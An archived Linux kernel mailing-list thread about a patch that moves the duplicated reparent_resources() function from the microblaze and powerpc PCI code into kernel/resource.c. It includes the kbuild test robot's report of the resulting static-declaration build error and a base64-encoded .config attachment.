List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10297 gmane.linux.kernel:2791961 gmane.linux.drivers.devicetree:274311 gmane.linux.kernel.pci:73187 gmane.linux.kernel.input:61519 gmane.linux.ports.parisc:28682 gmane.linux.kernel.kexec:20871 gmane.linux.ports.ppc64.devel:158717
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10297>

On 06/12/18 at 11:28am, Baoquan He wrote:
> reparent_resources() is duplicated in arch/microblaze/pci/pci-common.c
> and arch/powerpc/kernel/pci-common.c, so move it to kernel/resource.c
> so that it's shared. Later its code also need be updated using list_head
> to replace singly linked list.
> 
> Signed-off-by: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
> Cc: Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>
> Cc: Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>
> Cc: Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>
> Cc: Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>
> ---
> v4->v5:
>   Fix several code bugs reported by test robot on ARCH powerpc and
>   microblaze.

Oops, I mistakenly added the patch change log of the current patch 0002
here. This patch is a newly added one.

> 
> v3->v4:
>   Fix several bugs test robot reported. And change patch log.
> 
> v2->v3:
>   Rename resource functions first_child() and sibling() to
>   resource_first_chils() and resource_sibling(). Dan suggested this.
> 
>   Move resource_first_chils() and resource_sibling() to linux/ioport.h
>   and make them as inline function. Rob suggested this. Accordingly add
>   linux/list.h including in linux/ioport.h, please help review if this
>   bring efficiency degradation or code redundancy.
> 
>   The change on struct resource {} bring two pointers of size increase,
>   mention this in git log to make it more specifically, Rob suggested
>   this.
> 
>  arch/microblaze/pci/pci-common.c | 37 -------------------------------------
>  arch/powerpc/kernel/pci-common.c | 35 -----------------------------------
>  include/linux/ioport.h           |  1 +
>  kernel/resource.c                | 36 ++++++++++++++++++++++++++++++++++++
>  4 files changed, 37 insertions(+), 72 deletions(-)
> 
> diff --git a/arch/microblaze/pci/pci-common.c b/arch/microblaze/pci/pci-common.c
> index f34346d56095..7899bafab064 100644
> --- a/arch/microblaze/pci/pci-common.c
> +++ b/arch/microblaze/pci/pci-common.c
> @@ -619,43 +619,6 @@ int pcibios_add_device(struct pci_dev *dev)
>  EXPORT_SYMBOL(pcibios_add_device);
>  
>  /*
> - * Reparent resource children of pr that conflict with res
> - * under res, and make res replace those children.
> - */
> -static int __init reparent_resources(struct resource *parent,
> -				     struct resource *res)
> -{
> -	struct resource *p, **pp;
> -	struct resource **firstpp = NULL;
> -
> -	for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
> -		if (p->end < res->start)
> -			continue;
> -		if (res->end < p->start)
> -			break;
> -		if (p->start < res->start || p->end > res->end)
> -			return -1;	/* not completely contained */
> -		if (firstpp == NULL)
> -			firstpp = pp;
> -	}
> -	if (firstpp == NULL)
> -		return -1;	/* didn't find any conflicting entries? */
> -	res->parent = parent;
> -	res->child = *firstpp;
> -	res->sibling = *pp;
> -	*firstpp = res;
> -	*pp = NULL;
> -	for (p = res->child; p != NULL; p = p->sibling) {
> -		p->parent = res;
> -		pr_debug("PCI: Reparented %s [%llx..%llx] under %s\n",
> -			 p->name,
> -			 (unsigned long long)p->start,
> -			 (unsigned long long)p->end, res->name);
> -	}
> -	return 0;
> -}
> -
> -/*
>   *  Handle resources of PCI devices.  If the world were perfect, we could
>   *  just allocate all the resource regions and do nothing more.  It isn't.
>   *  On the other hand, we cannot just re-allocate all devices, as it would
> diff --git a/arch/powerpc/kernel/pci-common.c b/arch/powerpc/kernel/pci-common.c
> index fe9733ffffaa..926035bb378d 100644
> --- a/arch/powerpc/kernel/pci-common.c
> +++ b/arch/powerpc/kernel/pci-common.c
> @@ -1088,41 +1088,6 @@ resource_size_t pcibios_align_resource(void *data, const struct resource *res,
>  EXPORT_SYMBOL(pcibios_align_resource);
>  
>  /*
> - * Reparent resource children of pr that conflict with res
> - * under res, and make res replace those children.
> - */
> -static int reparent_resources(struct resource *parent,
> -				     struct resource *res)
> -{
> -	struct resource *p, **pp;
> -	struct resource **firstpp = NULL;
> -
> -	for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
> -		if (p->end < res->start)
> -			continue;
> -		if (res->end < p->start)
> -			break;
> -		if (p->start < res->start || p->end > res->end)
> -			return -1;	/* not completely contained */
> -		if (firstpp == NULL)
> -			firstpp = pp;
> -	}
> -	if (firstpp == NULL)
> -		return -1;	/* didn't find any conflicting entries? */
> -	res->parent = parent;
> -	res->child = *firstpp;
> -	res->sibling = *pp;
> -	*firstpp = res;
> -	*pp = NULL;
> -	for (p = res->child; p != NULL; p = p->sibling) {
> -		p->parent = res;
> -		pr_debug("PCI: Reparented %s %pR under %s\n",
> -			 p->name, p, res->name);
> -	}
> -	return 0;
> -}
> -
> -/*
>   *  Handle resources of PCI devices.  If the world were perfect, we could
>   *  just allocate all the resource regions and do nothing more.  It isn't.
>   *  On the other hand, we cannot just re-allocate all devices, as it would
> diff --git a/include/linux/ioport.h b/include/linux/ioport.h
> index da0ebaec25f0..dfdcd0bfe54e 100644
> --- a/include/linux/ioport.h
> +++ b/include/linux/ioport.h
> @@ -192,6 +192,7 @@ extern int allocate_resource(struct resource *root, struct resource *new,
>  struct resource *lookup_resource(struct resource *root, resource_size_t start);
>  int adjust_resource(struct resource *res, resource_size_t start,
>  		    resource_size_t size);
> +int reparent_resources(struct resource *parent, struct resource *res);
>  resource_size_t resource_alignment(struct resource *res);
>  static inline resource_size_t resource_size(const struct resource *res)
>  {
> diff --git a/kernel/resource.c b/kernel/resource.c
> index 30e1bc68503b..5e7c56d5d838 100644
> --- a/kernel/resource.c
> +++ b/kernel/resource.c
> @@ -983,6 +983,42 @@ int adjust_resource(struct resource *res, resource_size_t start,
>  }
>  EXPORT_SYMBOL(adjust_resource);
>  
> +/*
> + * Reparent resource children of pr that conflict with res
> + * under res, and make res replace those children.
> + */
> +static int reparent_resources(struct resource *parent,
> +				     struct resource *res)
> +{
> +	struct resource *p, **pp;
> +	struct resource **firstpp = NULL;
> +
> +	for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
> +		if (p->end < res->start)
> +			continue;
> +		if (res->end < p->start)
> +			break;
> +		if (p->start < res->start || p->end > res->end)
> +			return -1;	/* not completely contained */
> +		if (firstpp == NULL)
> +			firstpp = pp;
> +	}
> +	if (firstpp == NULL)
> +		return -1;	/* didn't find any conflicting entries? */
> +	res->parent = parent;
> +	res->child = *firstpp;
> +	res->sibling = *pp;
> +	*firstpp = res;
> +	*pp = NULL;
> +	for (p = res->child; p != NULL; p = p->sibling) {
> +		p->parent = res;
> +		pr_debug("PCI: Reparented %s %pR under %s\n",
> +			 p->name, p, res->name);
> +	}
> +	return 0;
> +}
> +EXPORT_SYMBOL(reparent_resources);
> +
>  static void __init __reserve_region_with_split(struct resource *root,
>  		resource_size_t start, resource_size_t end,
>  		const char *name)
> -- 
> 2.13.6
> 

From - Thu Nov 08 21:41:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.input,gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.kexec,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v5 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Tue, 12 Jun 2018 11:55:46 +0800
Lines: 206
Approved: news@gmane.org
Message-ID: <201806121130.gf9upRAU%fengguang.wu@intel.com>
References: <20180612032831.29747-2-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="7JfCtLOvnd9MIVvH"
X-Trace: blaine.gmane.org 1528775651 22731 195.159.176.226 (12 Jun 2018 03:54:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Jun 2018 03:54:11 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, linux-kernel@vger.kernel.org,
        akpm@linux-foundation.org, robh+dt@kernel.org,
        dan.j.williams@intel.com, nicolas.pitre@linaro.org,
        josh@joshtriplett.org, fengguang.wu@intel.com, bp@suse.de,
        patrik.r.jakobsson@gmail.com, airlied@linux.ie, kys@microsoft.com,
        haiyangz@microsoft.com, sthemmin@microsoft.com,
        dmitry.torokhov@gmail.com, frowand.list@gmail.com,
        keith.busch@intel.com, jonathan.derrick@intel.com,
        lorenzo.pieralisi@arm.com, bhelgaas@google.com, tglx@linutronix.de,
        brijesh.singh@amd.com, jglisse@redhat.com, thomas.lendacky@amd.com,
        gregkh@linuxfoundation.org, baiyaowei@cmss.chinamobile.com,
        richard.weiyang@gmail.com, devel@linuxdriverproject.org,
        linux-input@vger.kernel.org, linux-nvdimm@lists.01.org,
        devicetree@vger.kernel.org, linux-pci@vger.kernel.org,
To: Baoquan He <bhe@redhat.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jun 12 05:54:02 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fSaNd-0005DT-Ka
	for glk-linux-kernel-4@m.gmane.org; Tue, 12 Jun 2018 05:54:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933742AbeFLD4M (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 11 Jun 2018 23:56:12 -0400
Original-Received: from mga18.intel.com ([134.134.136.126]:57557 "EHLO mga18.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S933182AbeFLD4J (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 11 Jun 2018 23:56:09 -0400
X-Amp-Result: UNSCANNABLE
X-Amp-File-Uploaded: False
Original-Received: from fmsmga007.fm.intel.com ([10.253.24.52])
  by orsmga106.jf.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 11 Jun 2018 20:56:08 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.51,213,1526367600"; 
   d="gz'50?scan'50,208,50";a="46409437"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by fmsmga007.fm.intel.com with ESMTP; 11 Jun 2018 20:56:01 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <lkp@intel.com>)
        id 1fSaPY-0009K9-Ta; Tue, 12 Jun 2018 11:56:00 +0800
Content-Disposition: inline
In-Reply-To: <20180612032831.29747-2-bhe@redhat.com>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: lkp@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2791970 gmane.linux.kernel.input:61520 gmane.linux.hardware.nvdimm:10298 gmane.linux.drivers.devicetree:274312 gmane.linux.kernel.pci:73188 gmane.linux.kernel.kexec:20872 gmane.linux.ports.parisc:28683 gmane.linux.ports.ppc64.devel:158718
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2791970>


--7JfCtLOvnd9MIVvH
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Baoquan,

I love your patch! Yet something to improve:

[auto build test ERROR on linus/master]
[also build test ERROR on v4.17 next-20180608]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180612-113600
config: i386-tinyconfig (attached as .config)
compiler: gcc-7 (Debian 7.3.0-16) 7.3.0
reproduce:
        # save the attached .config to linux build tree
        make ARCH=i386 

Note: the linux-review/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180612-113600 HEAD 5545e79eef6387857faf41cdffa7be6b1f5d4efe builds fine.
      It only hurts bisectibility.

All errors (new ones prefixed by >>):

>> kernel/resource.c:990:12: error: static declaration of 'reparent_resources' follows non-static declaration
    static int reparent_resources(struct resource *parent,
               ^~~~~~~~~~~~~~~~~~
   In file included from kernel/resource.c:14:0:
   include/linux/ioport.h:195:5: note: previous declaration of 'reparent_resources' was here
    int reparent_resources(struct resource *parent, struct resource *res);
        ^~~~~~~~~~~~~~~~~~
   kernel/resource.c:990:12: warning: 'reparent_resources' defined but not used [-Wunused-function]
    static int reparent_resources(struct resource *parent,
               ^~~~~~~~~~~~~~~~~~

vim +/reparent_resources +990 kernel/resource.c

   985	
   986	/*
   987	 * Reparent resource children of pr that conflict with res
   988	 * under res, and make res replace those children.
   989	 */
 > 990	static int reparent_resources(struct resource *parent,
   991					     struct resource *res)
   992	{
   993		struct resource *p, **pp;
   994		struct resource **firstpp = NULL;
   995	
   996		for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
   997			if (p->end < res->start)
   998				continue;
   999			if (res->end < p->start)
  1000				break;
  1001			if (p->start < res->start || p->end > res->end)
  1002				return -1;	/* not completely contained */
  1003			if (firstpp == NULL)
  1004				firstpp = pp;
  1005		}
  1006		if (firstpp == NULL)
  1007			return -1;	/* didn't find any conflicting entries? */
  1008		res->parent = parent;
  1009		res->child = *firstpp;
  1010		res->sibling = *pp;
  1011		*firstpp = res;
  1012		*pp = NULL;
  1013		for (p = res->child; p != NULL; p = p->sibling) {
  1014			p->parent = res;
  1015			pr_debug("PCI: Reparented %s %pR under %s\n",
  1016				 p->name, p, res->name);
  1017		}
  1018		return 0;
  1019	}
  1020	EXPORT_SYMBOL(reparent_resources);
  1021	

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--7JfCtLOvnd9MIVvH
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
